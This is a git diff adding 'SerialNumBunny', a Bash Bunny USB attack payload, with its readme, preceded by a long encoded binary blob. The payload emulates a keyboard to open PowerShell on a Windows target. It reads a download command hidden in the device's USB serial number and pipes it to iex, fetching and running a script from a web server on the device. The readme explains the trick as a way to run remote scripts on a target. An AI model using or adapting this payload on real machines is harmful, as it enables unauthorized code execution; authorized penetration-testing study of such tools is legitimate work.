zblD>A&lRn1kkgG;IgrvSn6C&td_nXC%&KWX$LZYwA(nXF<~C>YSfE7i`E9GlZql9Cr(=N8g>^R=J=D;p5?Jc`G*1|JWbWd(tfXe?c%Q;lj_A+d zSk?rH*VUrA+euz1Fyg`Z-Pf;9cIM6}>_LU6&A(-3cld6!FQ|8KA7i~auHt2W6t&@O zMUgEjHr6Cw>M0oEr3g|{9C<0CSaK) zYra`FoBMKIm3NEkbAeV}Ht{HZG44Bc?kmv%R%sX>7+3wwoPW>1_CSE^pP_0yc~SRM z&V2%D43C+_6mSRSwYT!VzDtP;<$$j%u#E&eMkR8BWcz;}dcxTCFbjLqhpEPfY#qx9 zw72rXJTM^a;ojN)+dcWnQBBKE&S}CRPe8xl$U0ke{l7!8QMW&Re`69y# z)nr^jJL0It_!hq%=L+$bqrLNm)^#C=XfY&dw^Ffr|F@deYw@A_9dx3tF#Te(1rZx1 z-e>h-HcDZdg@%KXKe6(@cBTB*3XJsqCzrS9@lYvxEye>)r$ZelLZmL&hWnOT2x1bU7t~WJ#RPN76u*)m zoq@WOOoYqgh9*itmu)u?Psp4h;t09adn6CdV_~dQu0JnxYqi`?r{^cyIw`)O zjVbw#<#4uL{fTcoi%x^!xb#roELd)ci{12f4Q^Hs+%8j6q_$q%l^fuZ77;}1#VFt> zxa@SAZ;qZBLneBYH-231r0gvQ;xvs(vV#j71q!SNTYY+XMUn}2YD&f%N}|%gu#`?7 zOdR7VN5S3-To==wT~CZ$b}v&yZ~42}w+qR%Zr* zrmjYV@!Oqe%BNOV2l*hTi=gegN#VRr&?55iCgt;OGedmQYUlVbQOH8mMw?(?5c`I& zi_gTW!_6vtpg5xWl0P7T+CyB(ccb6yr0ugiVXK_4-ENU$u&hz;Dg0=$ITt1z2AUDR zc0C_xB7ja_%t547?7bnK;vxd{9}q3*W%3&MM%U?Eu>pmMQSJjch6Jdv4z{Z)tGk@n z@rJ_bV$kZLN@)9$PN!$akhw-;8>kZ1CkPqPIZ~w6h|B@$eb^e8wQo^n-$KvV!GF}Saq67f154G zRQz}?W}V+C5FA`)Ihb}f5YpUuocVe6R$GB(bw8^kBQ}>1UDEEc8396fWf(!-fNb90 zcm}dwm`1$bf*FLx`1sV&&rNo0wuXs9{CXqmkum*L3v-0^FbP7eG{<45Vkb(b1Xx!t zR+DQ{uOvU{mcyT};4qv8AEgv)s4v{`V zZAfu1R8DJ#P!kapRRNJEyFvFPgo$6QE2gzvoJP{tPj)C>Y(PEUd~*x*l`X+;szc9O zMi{@K^^X`;7l90r*E}S`A6}AeX>z{KkQuZaUqBd_n}FjbNAnh1ZZED{RPAr}67>-c z>gd+S-V$gXSE5cZIQ|(A2VqGwwCz^xm8gODO3`X}$zUKa;-|N-jw8uQSeocEqa*<_ zL;2w)2wJehj(2;(93bv?$&SuPlJdo<_}cXs-JW|WN00SqAHdBvFQGo0FrriKn`48g z;=6J44{AKB7tV&i1b2l&c*w83CnAhgcOK~>DrlXW=Or0jb01tKwGk!SFCQTjfNiP zs#KxbgcnA2n^3dG)bec*9MU@C`V&OUmCZ#|^TnvDv7das=jC}#vjGB~b!ji|NBp7JK|p`y+8C!V@S6#3g1^HIr(@BqIENql&g1Dtk|xR*?crfc{3)tHE0@(v9zrm zy_E9Yp{=!DMMm`6e)RFG$4kpLq6e3A2nZRuQxdayt(#F>o+=v!_TIekzKLRbzo-0- zEix@8-)3@uzWmZZO}CRsiSHjBxxN9nySoMl8{+z#K8%a!zdH;xKA_I`VnGf{-q##v zdd*FjC+p2>JECUuiA)RE?-v&1IoJDMhYW4Rl(5WucD4RQQPBT5yk&b@a+U~>K79>4 zPolEf$bnwNNY^`oBMOM1c4tHqE_;o)m#FI~e^c89xRc4oV)vv6Ho~H{qr4R=1iu+e z=A~~P&e^|NlDeoUP)!H1df|;v(&_f_uP-B@(=L^ka{;Vw1_dBel#_XC(=ljBX3x;G z$lYz_zAeaVx}p1OZ>M3yz^?==6op2BSm#fOKn_=jU1jO)_>j(X1N74So82R?p7CF| z*YqlB)-;D^1=5UlPW&niXlW+^3C%PO%%Ih3IL1_tM7|0*J>@a8zr z=j*u=mc|`i+3%G5z;F>qFLn@*CE7Z-AUTU196J88lw1E-$dFOptN%q7iz&$OpVxdk|0-4qFEO6=aswq?S;b46B#vz{xHfXi#ah(b*RBK zf|X)dC0dP_&tkfvD(O9&#|7iF%+;K<;}c=)iGAp1nu-l5q>6G{;cPESyO>=crOLpC6$r(ykyTe15gF$1 zjpd$ay=G3ET~@EEtmX!Mo!n6&QsKGPV%eA!mL1_`o49GshUQp2o#y~E-WrT#(Msm; zk8|do*8SlXb@7HjEDwc!Weq&vI+z`7-rHXv<2Pd-6Fy zM|F1mA^0GrBxOG*(0-H4b9q+B#FvAnwt#QGc`mh**jyT--f`)mU z-pPLQhBCPY2Xg1PX=#4(#eY=Zv&sEc*&?#YQE?cS|FDJfm+mhe$Q_oJpL zEUc}H|E{-09>eA$$RI#2*YXZrKD(wRlb5ux`i0Q9p?~>54QBS{$uV;9%C1UtqBpGK z`1zEP95!3_zf)3my_;X(#2OhF`hS(Fp8agkBsZV=On~WA?&F=!kvR9dY_W;Fag^q$ zDP%Owh}*f4^ZSiozWc~EkTC#AE1x*k-TNS$pK0!HMEs3RKL%-r`Mp(&zug=5S0}S> z?Sv*Yh_AkAG|k4%9>|f#^wwB^h;bN-eQSC0cN7Tzk~tv`S=Q-E{QN~Q5i2;eL9*CE_I&+{(U%20D^-TQo}E!D`JmEkKs}eVFjdx)q@E zE@tadgp>gy28J%J@JJSwC^9zh1Imjg*GT#H5o(Dm2G{Mp@)!7w;p!sUYgYTaMiZRn z96%AUu)chRH2tfQ>2ivo#L;52cpMvczu%bu-q=@r7n6*RrNtO@&D$Kn#Uu|CsU|$~ z#kfNw05204mY-9VHUshG$!TB9S3wiFm} zI3bbk(GT}y^E%R6AsuP*_4F?u!dOb=?pa+D-`x9iJbcxHC}@Z@ z!_RO3qh@f`$z;Gq!SE#7PCBaX^J}2vG;a-gv+*Db{1as8Te<(zG?p9*HiHX{>A{jI zn>yW$>>KAT0pRlQl(Ai7sT}hPY=B$MgKBNO>fMvNcR`TjNF|yeOopom>IvLJ#pU zT1=}U#`a;qb~C1?Pgd2l6n*5|UkHB9c$i8!Tgk`BV!UkNYGwG35wx}#<6)4m*`RY# z!f+h8q)h)EmY;Y@M^--xWp})6F9i0%O<>*;z$L3cqbW$c)t+6SY58we60ZQ0iwt5? zEIHnYX^igUp2fIjn2NG=Wut;mDpi?2_~i$rCgs^b5L&A!JCMQs^H-6-SVHErKsZ51 zuky-IJ~JYjv}eAbUdD4`1DFF{d}hE;-dRW3BSxVE{om67g!ur}W=6?NX^=fKl5LOO<7 zhH`=iKh^dW^JMD0_}+pdMmaBR?qg{rn8u06Ah|F-#`-;X_jW7$6#QQttlE`|%60u| zxFD_9Bl6U_qB$XlE62O0zK;gIrc3Zm0^7rA>02CFFr9(PXq#<{3S8Ys#i*Hh&=L;o zjpHNSG8A}P!)GY~I6@qsr^(O0Fz#rU@Nq(r#3P}(!KfzkY0CLx~p zh|G-^0qx!di%44S`12EK-N8bL~;k~lRQi4X4xoU z{oKNB(hjVBHu+Hx;q{IJ_;Xq;LrO*Vc<9aMYFT=RNEH{D!8RTrD%IIa^{7pKS6xp& z71Cc60B#;(s-}X-uADhW7~)7DlCJ%Uq1#<_RP=l&S$Zg zPFpUCxb}~yOTY9HBapm2$n7<(PWDr;D>*v(Bzfi6R_bEEY50Iph}l7>eaVqjQ@%m_ zys+kBXG>r}oAbozVDU2lY>1k4n3o?-%^p+a!~t=hOsL*ux9hfUX79B=sa4o zg(mD8nq%Avwj@CeX^#n~0DG>a4w$jw{mCxui4ozI%t_)8P2%S)W^!Hlku)|G#16+# z@(R;U`l2|$zw{ebnrkucVvkQVf4N2qF2GF8OfJ$QwTdB6Wy2ZE9W_!KZE&l^Q)5Jm zP1v?_$uiPxKLV~S;Lz9#XBDe4L`S5xKS-~|^{J}XaeffOJ1Hx^o9hI!cZL_LhUB~j zy&ck8VXp1T;j#vId=B%^(lZ7Lu0>bNYPqx6ys{b^|6Y9+jChI@l<$ty@<{dbTnN~v zM3v-&td)j(hF}t_mVSl~RlJvwVPSdO$Ux)a$BO0{?2}CPQ_(6dgWgI?6zGzv? zOL3MOsx$#rJw7Z}n>MYXs1=-NcoCcViW26cTmecE(wfilaOl+_p19?hxay75Cb~cO zHE1LMjkzLCM?+w)>y;9G=tlt0AqwX{ex7euO{7)?MkC14%e#T^)THJteKhGm%O#v0 z6UQ?Z4HX=e;CIG=Y=vX3#s>BM=ui(NJ0$r3>DJ!q_$xMTcb{Ss^$HMZC!TDUh%<6i zH}emkyQ-1!(Ufa@2?0`nF2^I=J`5kHOF^$+J%Zd^Vh#`%Tue2$lIDV5xxu-j&%5nJ^nKBCkik-v6_I{q1#$_Jj<5& zmL(PzlDU3o!Ut95&O09m4!4wPdR;T7>GPl~lPnoPSNItsr!={@GZ4P0%ho$P=5~p~Jxu zGgdCo(S}kUKCo($>1pbFc%m{+CSsd5`aM#wYImkFLnB%S{u}T;*s-v>{p5j}r4lY- zp)R`_(BSuh>G7#Tk?X@erCL#reY5m!qx@&Q9-4wEi2zsbu_1{=1zwH#%w=P|k37PX zvpccat}LH}y8?%^KVv+%h-WXx6a<^^Pcf*!X(g`u_6fce08}nF(L2l{X8v{ ztYobr#XylLQ!aMWK{mbZw5bUV&;GGrAoaeYPbz`ddoNWYo2UYZqiquC%aNy~Ux>Ar}$r1e;x@s!QN3 zTQZC@eAf*Yf)@X&(bNW3#)N@uowF5kKG~6C_WNo+Wg=lGpHx9Rv8l5g>Ux{Q8qLIG z&e?p-D&*2zcf{hQp4ms#@g5QwF2{0yFL47Lv^hd+)!OMY zOQF!_=78Ly;9^aij~hlnI&j(cmB_~rI89|!%C9?*?4|{WoL;I{X_|xcCy21H{)qh> z=O>yd<#}Txe-jACa6K;?%`x|?rp5uh3?+r9*LktC;yq4L8tF+yhKe-DnX8F8&!nF6 ziLATpd<2U8c||I!0|0m*R$~CB6%AOq3{2-d>v*YaO9A{_8kJrE+^{$ZMqK`eFW
xP;G6(*bzxZ+GcC=!0(@I%!WmX+ zO}ok2nF(}L#)cxVs#MFTJPP|*tm_**PA^YI;;&>ZP4f{KzB{`=mWp`)up*&rgDGj| znwYm?nW(>x+T?s7DXVQLNG+dxm31*xY0)5{5eN6*I0jp~u^&$m`WK`1R8#BLy!aA zljXY5Yp{@{rM-yJClupoUs)<49QP7P@^0Z10gtRSZn)?DDq7-@&U&0**>yLuc6pUV8L_7&(`qV*3YCxR8xT7U!Jyh^J};~B26$BCiRuTJF{y%GJEIgYUp`w z@Ml_D!v!KzW#(EQRkcB2l)oq^4(?gdvU z&uvnAKwfX2_~Z&hvdb!*0L|{lfpGCku2~tQCxVJ`!9UDtBA!`ybFB?ec59e=E8eIs zdT9_EfW@4C)!Ai2Ki>8n)Kv)z333vQ>%po_M75*)r^d(6lvwU{-j z$(^ViG@7Awsn|kWp}ASTMAw>Ud39{2d}lZNk5khdoX3rC2I<*wDU1%~k$xFo5eJ}< z$iiCnhIIvGvMPy!IT(F9YFkxMGG2U=F**8epT;wAZ zlOmpAcw#*}K%@hm{ZQyuR6`-M=Zy{uj5hsKh_WARB$$eP^^oMdn7F#Yn|3u`E=z++ zeovmQwg4HhDPqQ?AtCd6D0xGdjH7q0bBbhxxGy;?5Zg8g5~5(BKI}mYO1p@@;fSyp z0P6MMXWp~AW==xJaEy|vzlFx zxNe5}B_U6$BVrd#64uWFA)b;KeyYXQ8D}T)lmvx4Jn9P=Ck1F*UapLsML#gHv;*7u4DnGuol$sk+0Vl_7|iM4PLaM(Qq6j zF6&8N?RV+6Z#t3Bazu)1RY@W`t8a*^iy@a)ELHnmceIwLC!d^d1f3S4HkIg!gn_ zeN6vg5gQ7Iyc@vSh+H9x5{P&7c$$Cj14&~+h08p}0137O+rY*L83trlM)`(^4S`gz z$B0g4Wx6rEHB08Z#7p~pZ*d8VL$GKSoq(F9jI@e{F9s&>SSqen(OhixFIu~@HBSnF z^_6Y?*PWhiJ4_e9 z5}>BpicM)PMmnCUc<|Sql3cCRVBxr6F!Y9HwaLC^oZo1D*y24V2iZDX8Mq3jt+3yk?1T6zx|Vi( zH^VqU)J@Ax6vl;IiO!z)7mka(6r80jzQECXXD3opM1WiPR`Ro7giE-^Kyk9IyvhU( zt1Vu?&qrX&(w(b}rZVegg!+Hn!r8ajc-a)dH01rGbGfM2QoK-EH{bKw+7-gs>XlJq z163SkDcx82Uf(~7d+4O)hJ^*;A(xpGwymr=CZHcC?a$n&y4q0BQ66$fs#C~5VRChXAGeg&0@3`nu&@F$H%OjG#r_a7Bid!gVP%={f zl;?UMOY1jMdm^K?Q20l2T%|0GguTpLkhR95fIR7fXDX37#Y11YcSA zIaSHPUN5$Fnz*mCdtPV?Pa|e8P3+n|P<ihq*-!XuQx{$oA-UAYEvv ze)Wf#N8S2M7ay3jaNO9{(yaX>he=AeYD)eKq$GZQ3w)|D^BcQZ7}EOKK-QD^#RBsb z)|GQ5vh4J8aFe$^+G7yh@J9X%+p!O9vFR$9Jxsd%1kExfnsWwj_=_@>zX9N^)jS=j zIJNiYQS+5|d+=|?WpPc>W@KxVVjtlHkh`mwTW;p|nqqlozU9pzE2s&ornWgf=_fu7 zEgiU&(CCADqt%e7c2?m{Tj+{*r(^)-Zq}=*V(uHUbWLipy0s?kGasu=y}rOu*Q%?? z=bcI=pDEX`xwTFt;I)9s-ltdnY)p zM$XPY>$bp&du`S5a87RZF#=NQ;K^fKjWp5&UN2dX!w#~+rkwNSDPJDZ+;V~N8Hyr? zPdu$%v0MD>4i}^gJSJ(4=qk)ET-bM;y_>1d_XieaZ4_4bIm~QJ<=9#HwMZ5>+hWJU2I4nJynXabHs- z1IaYoi@keB?iwm}{WDcJCX!=McS5N!nncS-?Om9!iyi~(z}%|#p5oYwoRbgbFSLvh z4q+CUKpcDq9f<2neWS-G(rWMJWhw$FEzm6eB13OD&l+!)(O0{J`CUDuNjI~dzKxVX zJ)Rck1yGZ32Pbpb97$mpI8s3{$bv#OzRv?9s?~U7(mugoGoej;#*JzI6WlzRw#b)f znBe$N1+UQYY<|cYW%zU!{BSckWXG_oByE>zR$s>hHDF)0swE(~K{>OKtf`R>km1u* zWj?YUyJ5})Phu+4rDfIk;~Kvj_dt&jYec5o^>!Y4cvIYr-4c!te0W~~O)B%yARGAYgDDHD?Ww2vr4tQ3xEx1z-v zBPhihF;crHJg&`$g_Y%8Y3pN&j9n})BuU|v8aZ0LbIC(fY4bn)sv0)L8xe!Rxh24r zn=Cbw1z#I#szcT#kLEA+jSfWlRI`mXG87f*Im{^8Bsse#6~**F8Q9pt)jZoRK=ngCZ`=4*WH1z!4an7^%Ij^k?GNpW zn6Vr8Hf4w$ q{|1>HbT35zLL7zv|NegmA8w#5Gmp?Xg{TIMSmmWvq>A601pYT6zM}8| literal 0 HcmV?d00001 diff --git a/payloads/library/execution/SerialNumBunny/payload.txt b/payloads/library/execution/SerialNumBunny/payload.txt new file mode 100644 index 00000000..1f177baf --- /dev/null +++ b/payloads/library/execution/SerialNumBunny/payload.txt @@ -0,0 +1,46 @@ +#!/bin/bash +# +# Title: SerialNumBunny +# Description: Execute strings placed in the Bunny serial number +# Author: 0iphor13 +# Version: 1.0 +# Category: Execution +# Attackmodes: HID, RNDIS_ETHERNET + +# Starting as Ethernet device only first to get IP +LED SETUP +ATTACKMODE RNDIS_ETHERNET + +GET SWITCH_POSITION +GET HOST_IP + +# Switch to Ethernet & HID +LED Y +# Defining Device Identifiers - Serialnumber contains payload +ATTACKMODE RNDIS_ETHERNET HID VID_0XF000 PID_0X1234 MAN_HAK5 PROD_BASHBUNNY SN_IWR_-URI_HTTP://$HOST_IP/1.PS1 +cd /root/udisk/payloads/$SWITCH_POSITION/ + +# starting server +LED SPECIAL + +# disallow outgoing dns requests so the server is accessible immediately +iptables -A OUTPUT -p udp --dport 53 -j DROP +python -m SimpleHTTPServer 80 & + +# wait until port is listening +while ! nc -z localhost 80; do sleep 0.2; done + +#Opens hidden powershell instance +Q DELAY 1500 +Q GUI r +Q DELAY 500 +Q STRING "powershell" +Q DELAY 500 +Q ENTER + +Q DELAY 1000 +# Make sure that device ID matches what was defined above +Q STRING "((Get-PnpDevice -PresentOnly -Class USB | Where-Object { \$_.DeviceID -like \"*F000*\" } | ForEach-Object { (\$_).DeviceID -split '\\\\' | Select-Object -Last 1 }) -join '').Replace('_', ' ')|iex|iex" +Q DELAY 400 +Q ENTER +LED FINISH \ No newline at end of file diff --git a/payloads/library/execution/SerialNumBunny/readme.md b/payloads/library/execution/SerialNumBunny/readme.md new file mode 100644 index 00000000..d3d2060b --- /dev/null +++ b/payloads/library/execution/SerialNumBunny/readme.md @@ -0,0 +1,18 @@ +**Title: SerialNumBunny** + +

Author: 0iphor13
+OS: Windows
+Version: 1.0
+ +**What is SerialNumBunny?** + +*It is pretty simple... The BashBunny enables you to set its USB identifiers. You can change VID, PID, Manufacturer and of course, the Serial number. Now we do the little trick here and place our payload within the serial number. Then starting a webserver on the Bunny, where a script is hosted and call the serial number via powershell on the target system. The content of the retrieved script is then executed on the target. Easy as that.* + +You can get pretty creative here, from basically calling basic powershell commands, up to this example where you execute remote scripts. + +**Instruction:** + +- Upload your script or the example provided onto your Bunnys switch folder. +- Plug in the Bunny and let the magic happen. + +_Note: If you want to adapt your payload nested, in the serial number, you may need to stay in a certain character limit. In my case this was 40 characters. This might be different, depending on your target. Also make sure to replace spaces within the serial number with underscores._